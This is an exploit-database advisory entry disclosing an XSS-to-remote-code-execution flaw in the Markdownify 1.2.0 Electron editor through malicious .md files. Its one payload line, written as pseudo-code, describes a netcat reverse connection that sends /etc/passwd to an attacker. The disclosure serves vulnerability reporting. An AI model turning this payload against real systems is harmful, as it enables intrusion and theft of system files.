Markdownify 1.2.0 - XSS to RCE

EDB-ID:

49835

CVE:

N/A




Platform:

Multiple

Date:

2021-05-05


# Exploit Title: Markdownify 1.2.0 - XSS to RCE
# Exploit Author: TaurusOmar
# Date: 04/05/2021
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
# Risk: High (8.8)
# Vendor Homepage: https://github.com/amitmerchant1990/electron-markdownify
# Version: 1.2.0
# Tested on: Windows, Linux, MacOs

# Software Description:
It is a lightweight editor for viewing and editing the markdown documentation of aYou can browse your personal folder to view and edit your files, change view / edit mode in md file with subject at the top.


# Vulnerability Description:
The software allows you to store payloads within its own editor, as well as upload (.md) files once malicious code is entered, the payload will be executed immediately. The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to the
the remote attacker to get remote execution on the computer.


#Proof
https://imgur.com/a/T4jBoiS


# Payload: exec(Attacker Reverse netcat stolen => /etc/passwd) && exec(calc)

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